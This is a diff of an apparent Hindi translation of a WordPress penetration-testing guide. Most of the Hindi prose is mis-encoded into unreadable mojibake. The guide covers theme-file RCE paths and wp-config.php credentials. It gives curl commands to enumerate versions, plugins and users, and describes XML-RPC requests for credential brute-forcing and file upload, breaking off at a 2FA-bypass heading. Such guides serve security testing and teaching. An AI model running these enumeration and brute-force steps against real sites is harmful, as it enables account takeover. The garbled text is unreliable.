+- **Themes files can be found in /wp-content/themes/,** рдЗрд╕рд▓рд┐рдП рдЕрдЧрд░ рдЖрдк рдереАрдо рдХреА рдХреБрдЫ php рдмрджрд▓рдХрд░ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╕рдВрднрд╡рддрдГ рдЙрд╕ path рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: Using **theme twentytwelve** рдЖрдк **404.php** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ **access** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-- In **wp-config.php** рдЖрдк database рдХрд╛ root password рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
-- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
+- In **wp-config.php** рдЖрдк рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ root рдкрд╛рд╕рд╡рд░реНрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
+- рдЬрд╛рдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд▓реЙрдЧрд┐рди рдкрде: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
- `index.php`
-- `license.txt` рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ WordPress рдХрд╛ versionред
-- `wp-activate.php` рдирдпрд╛ WordPress рд╕рд╛рдЗрдЯ рд╕реЗрдЯрдЕрдк рдХрд░рддреЗ рд╕рдордп email activation рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред
-- Login folders (may be renamed to hide it):
+- `license.txt` рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ рдХрд┐ WordPress рдХрд╛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕рдВрд╕реНрдХрд░рдгред
+- `wp-activate.php` рдХрд╛ рдЙрдкрдпреЛрдЧ рдирдП WordPress рд╕рд╛рдЗрдЯ рд╕реЗрдЯрдЕрдк рдХреЗ рджреМрд░рд╛рди рдИрдореЗрд▓ activation рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИред
+- Login рдлрд╝реЛрд▓реНрдбрд░реНрд╕ (рдЫреБрдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╛рдо рдмрджрд▓реЗ рдЧрдП рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
-- `xmlrpc.php` рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬреЛ WordPress рдХреА рдЙрд╕ рдлрд╝реАрдЪрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИ рдЬреЛ HTTP рдХреЛ transport mechanism рдФрд░ XML рдХреЛ encoding mechanism рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╡рд┐рдзрд┐ рдХреЛ WordPress рдХреЗ [REST API](https://developer.wordpress.org/rest-api/reference) рдиреЗ рдмрджрд▓ рджрд┐рдпрд╛ рд╣реИред
-- `wp-content` рдлрд╝реЛрд▓реНрдбрд░ рдореБрдЦреНрдп рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ plugins рдФрд░ themes рд╕реНрдЯреЛрд░ рд╣реЛрддреЗ рд╣реИрдВред
-- `wp-content/uploads/` рд╡рд╣ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣рд┐рдд рд╣реЛрддреА рд╣реИрдВред
-- `wp-includes/` рдпрд╣ рд╡рд╣ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ core рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛрддреА рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ certificates, fonts, JavaScript files, рдФрд░ widgetsред
-- `wp-sitemap.xml` WordPress versions 5.5 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░ рдореЗрдВ, Worpress рдПрдХ sitemap XML рдлрд╝рд╛рдЗрд▓ рдЬрдирд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рднреА public posts рдФрд░ publicly queryable post types рдФрд░ taxonomies рд╣реЛрддреЗ рд╣реИрдВред
+- `xmlrpc.php` рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬреЛ WordPress рдХреА рдЙрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИ рдЬреЛ HTTP рдХреЛ transport mechanism рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ XML рдХреЛ encoding mechanism рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╕рдВрдЪрд╛рд░ WordPress [REST API](https://developer.wordpress.org/rest-api/reference) рджреНрд╡рд╛рд░рд╛ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
+- `wp-content` рдлрд╝реЛрд▓реНрдбрд░ рдореБрдЦреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ plugins рдФрд░ themes рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред
+- `wp-content/uploads/` рд╡рд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВред
+- `wp-includes/` рдпрд╣ рд╡рд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ core рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рдЬреИрд╕реЗ certificates, fonts, JavaScript рдлрд╝рд╛рдЗрд▓реЗрдВ, рдФрд░ widgetsред
+- `wp-sitemap.xml` WordPress рд╕рдВрд╕реНрдХрд░рдг 5.5 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░ рдореЗрдВ, Wordpress рд╕рднреА public рдкреЛрд╕реНрдЯ рдФрд░ publicly queryable post types рдФрд░ taxonomies рдХреЗ рд╕рд╛рде рдПрдХ sitemap XML рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред
**Post exploitation**
-- `wp-config.php` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ WordPress рдХреЛ database рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ database name, database host, username рдФрд░ password, authentication keys рдФрд░ salts, рдФрд░ database table prefixред рдпрд╣ configuration рдлрд╝рд╛рдЗрд▓ DEBUG mode рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ troubleshooting рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
+- `wp-config.php` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╡рд╣ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ WordPress рдХреЛ database рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ database name, database host, username рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб, authentication keys рдФрд░ salts, рдФрд░ database table prefixред рдЗрд╕ configuration рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ DEBUG рдореЛрдб рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ troubleshooting рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
### Users Permissions
- **Administrator**
-- **Editor**: рдЕрдкрдиреЗ рдФрд░ рджреВрд╕рд░реЛрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ
-- **Author**: рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ
-- **Contributor**: рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ рд▓рд┐рдЦрддрд╛ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдкрд░ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛
-- **Subscriber**: рдкреЛрд╕реНрдЯ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдкрдиреА рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ
+- **Editor**: рдЕрдкрдирд╛ рдФрд░ рджреВрд╕рд░реЛрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ
+- **Author**: рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ
+- **Contributor**: рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ рд▓рд┐рдЦ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛
+- **Subscriber**: рдкреЛрд╕реНрдЯ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдкрдирд╛ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ
## **Passive Enumeration**
-### **Get WordPress version**
+### **WordPress рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ**
-рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╝рд╛рдЗрд▓реЗрдВ `/license.txt` рдпрд╛ `/readme.html` рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ
+рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╝рд╛рдЗрд▓реЗрдВ `/license.txt` рдпрд╛ `/readme.html` рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ
-рдкреГрд╖реНрда рдХреЗ **source code** рдХреЗ рдЕрдВрджрд░ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
+рдкреЗрдЬ рдХреЗ **source code** рдХреЗ рдЕрдВрджрд░ (рдЙрджрд╛рд╣рд░рдг from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
.png>)
-### рдкреНрд▓рдЧрдЗрдиреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
+### Plugins рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@@ -77,41 +77,41 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
-## рд╕рдХреНрд░рд┐рдп рдЕрдиреНрд╡реЗрд╖рдг
+## Active enumeration
-### рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдореНрд╕
+### Plugins and Themes
-рдЖрдк рд╕рдВрднрд╡рддрдГ рд╕рднреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдореНрд╕ рдирд╣реАрдВ рдвреВрдБрдв рдкрд╛рдПрдБрдЧреЗред рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ Brute Force рдХрд░рдХреЗ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдореНрд╕ рдХреА рд╕реВрдЪреА рдирд┐рдХрд╛рд▓рдиреА рд╣реЛрдЧреА** (рд╣рдореЗрдВ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдРрд╕реА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд tools рдореМрдЬреВрдж рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдпреЗ рд╕реВрдЪрд┐рдпрд╛рдБ рд╣реЛрддреА рд╣реИрдВ)ред
+рдЖрдк рд╕рдВрднрд╡рддрдГ рд╕рднреА Plugins рдФрд░ Themes рдвреВрдБрдв рдирд╣реАрдВ рдкрд╛рдПрдБрдЧреЗред рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **actively Brute Force a list of Plugins and Themes** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдЦреБрд╢реА рдХреА рдмрд╛рдд рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдХреБрдЫ automated tools рдореМрдЬреВрдж рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдпреЗ lists рд╣реЛрддреА рд╣реИрдВ)ред
-### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛
+### Users
-- **ID Brute:** рдЖрдк WordPress рд╕рд╛рдЗрдЯ рд╕реЗ Brute Forcing users IDs рдХреЗ рдЬрд░рд┐рдП рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+- **ID Brute:** рдЖрдк WordPress рд╕рд╛рдЗрдЯ рд╕реЗ рд╡реИрдз users Brute Forcing users IDs рдХреЗ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
-рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ **200** рдпрд╛ **30X** рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ id **рдорд╛рдиреНрдп** рд╣реИред рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ **400** рд╣реИ, рддреЛ id **рдЕрдорд╛рдиреНрдп** рд╣реИред
+рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ **200** рдпрд╛ **30X** рд╣реИрдВ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ id **рдорд╛рдиреНрдп** рд╣реИред рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ **400** рд╣реИ, рддреЛ id **рдЕрдорд╛рдиреНрдп** рд╣реИред
-- **wp-json:** рдЖрдк users рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП query рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+- **wp-json:** рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд╡реЗрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
-рдПрдХ рдЕрдиреНрдп `/wp-json/` endpoint рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
+рдПрдХ рдФрд░ `/wp-json/` endpoint рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
-Note that this endpoint only exposes users that have made a post. **рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдпрд╣ рдлреАрдЪрд░ рд╕рдХреНрд╖рдо рд╣реИ**ред
+Note that this endpoint only exposes users that have made a post. **рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдпрд╣ feature рд╕рдХреНрд╖рдо рд╣реИ**ред
-Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
+Also note that **/wp-json/wp/v2/pages** IP addresses рдХреЛ leak рдХрд░ рд╕рдХрддрд╛ рд╣реИред
-- **Login username enumeration**: рдЬрдм **`/wp-login.php`** рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддреЗ рд╕рдордп **рд╕рдВрджреЗрд╢** рдЕрд▓рдЧ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ **username рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ**ред
+- **Login username enumeration**: рдЬрдм **`/wp-login.php`** рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддреЗ рд╕рдордп **рд╕рдВрджреЗрд╢** рдЕрд▓рдЧ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ **username рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ**ред
### XML-RPC
-рдпрджрд┐ `xml-rpc.php` рд╕рдХреНрд░рд┐рдп рд╣реИ рддреЛ рдЖрдк credentials brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЗрд╕реЗ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ DoS attacks рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
+рдпрджрд┐ `xml-rpc.php` рд╕рдХреНрд░рд┐рдп рд╣реИ рддреЛ рдЖрдк credentials рдкрд░ brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп resources рдкрд░ DoS attacks рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕ process рдХреЛ [using this](https://github.com/relarizky/wpxploit) рд╕реЗ automate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
-рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реИ рдпрд╛ рдирд╣реАрдВ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП _**/xmlrpc.php**_ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рдпрд╣ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ:
+To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
-**рдЬрд╛рдВрдЪреЗрдВ**
+**рдЬрд╛рдБрдЪреЗрдВ**
```html
system.listMethods
@@ -122,7 +122,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
**Credentials Bruteforce**
-**`wp.getUserBlogs`**, **`wp.getCategories`** рдпрд╛ **`metaWeblog.getUsersBlogs`** рдХреБрдЫ рдРрд╕реЗ рдореЗрдердбреНрд╕ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ credentials рдХреЛ brute-force рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдвреВрдВрдврд╝ рдкрд╛рдПрдБ рддреЛ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ:
+**`wp.getUserBlogs`**, **`wp.getCategories`** рдпрд╛ **`metaWeblog.getUsersBlogs`** рдРрд╕реЗ рдХреБрдЫ рддрд░реАрдХреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ brute-force credentials рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдкрд╛ рд▓реЗрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ:
```html
wp.getUsersBlogs
@@ -132,15 +132,13 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
```
-The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
+рдпрджрд┐ credentials рдЕрдорд╛рдиреНрдп рд╣реИрдВ рддреЛ 200 code response рдХреЗ рдЕрдВрджрд░ рд╕рдВрджреЗрд╢ _"Incorrect username or password"_ рджрд┐рдЦрд╛рдИ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
.png>)
-рдпрджрд┐ credentials рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИрдВ рддреЛ 200 рдХреЛрдб response рдХреЗ рднреАрддрд░ рд╕рдВрджреЗрд╢ _"Incorrect username or password"_ рджрд┐рдЦрд╛рдИ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред
-
-рд╕рд╣реА credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред response рдореЗрдВ path рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+рд╕рд╣реА credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдПрдХ file рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред response рдореЗрдВ path рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
@@ -170,18 +168,18 @@ The message _"Incorrect username or password"_ inside a 200 code response should
```
-рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, `system.multicall` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ brute-force credentials рдХреЗ рд▓рд┐рдП рдПрдХ **рддреЗрдЬрд╝ рддрд░реАрдХрд╛** рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдПрдХ рд╣реА рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдореЗрдВ рдХрдИ credentials рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВ:
+Also there is a **рддреЗрдЬрд╝ рддрд░реАрдХрд╛** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
**Bypass 2FA**
